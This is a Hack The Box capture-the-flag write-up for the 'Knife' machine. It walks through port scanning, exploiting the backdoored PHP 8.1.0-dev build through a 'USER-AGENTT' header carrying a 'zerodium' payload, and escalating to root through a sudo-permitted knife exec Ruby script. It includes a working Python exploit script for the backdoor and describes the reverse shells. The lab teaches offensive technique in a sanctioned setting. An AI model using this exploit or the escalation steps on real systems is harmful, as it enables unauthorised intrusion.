Hack The Box: Knife


Jump Ahead: EnumUserRootResources

TL;DR;

To solve this machine, we begin by enumerating open ports – finding ports 22 and 80 open. On the webserver, we find a static webpage. Enumerating the server infrastructure, we find the backend contains a backdoor. Exploiting the backdoor, we get a reverse shell on the machine as james – and can read user.txt. After enumerating commands james can run via sudo, we find james is able to run a Ruby script as root. Exploiting the script, we are able to get a reverse shell as root – gaining access to root.txt.

Enumeration

Like all machines, we begin by enumerating open ports with nmap – finding ports 22 and 80 open.

$ sudo nmap -v -p- --min-rate 3000 $RHOST
[..]
$ sudo nmap -sV -A -p 22,80 -oA enum/nmap/tcp-scripts $RHOST
# Nmap 7.91 scan initiated Wed May 26 12:00:50 2021 as: nmap -sV -A -p 22,80 -oA enum/nmap/tcp-scripts 10.129.158.150
Nmap scan report for 10.129.158.150
Host is up (0.050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 - 5.3 (95%), Linux 4.15 - 5.6 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.1 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   47.57 ms 10.10.14.1
2   47.77 ms 10.129.158.150

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 26 12:01:14 2021 -- 1 IP address (1 host up) scanned in 24.01 seconds

Since there is a web server running, we initiate automated scans with nikto and gobuster, however, the only significant thing that stands out is that the webserver is hosting php 8.1.0-dev. Going to the webserver in our browser, we are presented with a medical webpage.

When we try to click the links, they do not work. Since the backend language and webserver version is all we have, we will look more into them.

Getting User

Since the version of php running on the webserver seemed interesting, we decide to look more into it. We look at exactly what server headers are returned, and use searchsploit for a quick lookup. Searchsploit did not return any results, however, since php is a relatively new version, we decide to do more extensive research on it.

We start by Googling “php 8.1.0-dev exploit”, however, this did not bring up any identifiable resources. Next, we decide to broaden the search term to “php 8.1 exploit” and find this article. It informs us that there is a backdoor that allows us to execute php code within an HTTP header.

Additionally, it links us to the malicious commit, which we review to develop an exploit. Upon review, the remote code execution is achieved by essentially creating a new php $_SERVER[] key named “HTTP_USER_AGENTT”. To exploit it, we have to send an HTTP header named “USER-AGENTT”, and start our malicious code with “zerodium”.

Using the source code as a guide, we craft an exploit using python. After verifying nc is hosted on the machine, we use php to get a reverse shell as the james user – gaining access to user.txt.

#!/usr/bin/env python3
import requests
from sys import argv, exit

if len(argv) < 3:
    print("[!] Supply the URLi and command to run")
    exit(1)

header = {"USER-AGENTT" : "zerodiumsystem(\""+argv[2]+"\");"}
url = argv[1]

r = requests.get(url, headers=header)
print(r.text.split("<!DOCTYPE html>")[0])

Getting Root

Having gained access to the remote machine as james, we begin our local enumeration. The first thing we try is sudo -l, which reveals a command we can run as the root user – /usr/bin/knife. Since this is an unusual program, we look into it further, and see that it is a Ruby script.

Since we are unfamiliar with knife, we research it, and find this website. Looking at the subcommands, we see exec, which says it will run a ruby script.

Since we are essentially given permission to run Ruby scripts as root, we write a reverse shell into a file. Next, we start a reverse shell listener with netcat, and use sudo knife exec to execute it. Once the script executes, we are given a shell as root, and can now read root.txt.

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!

Resources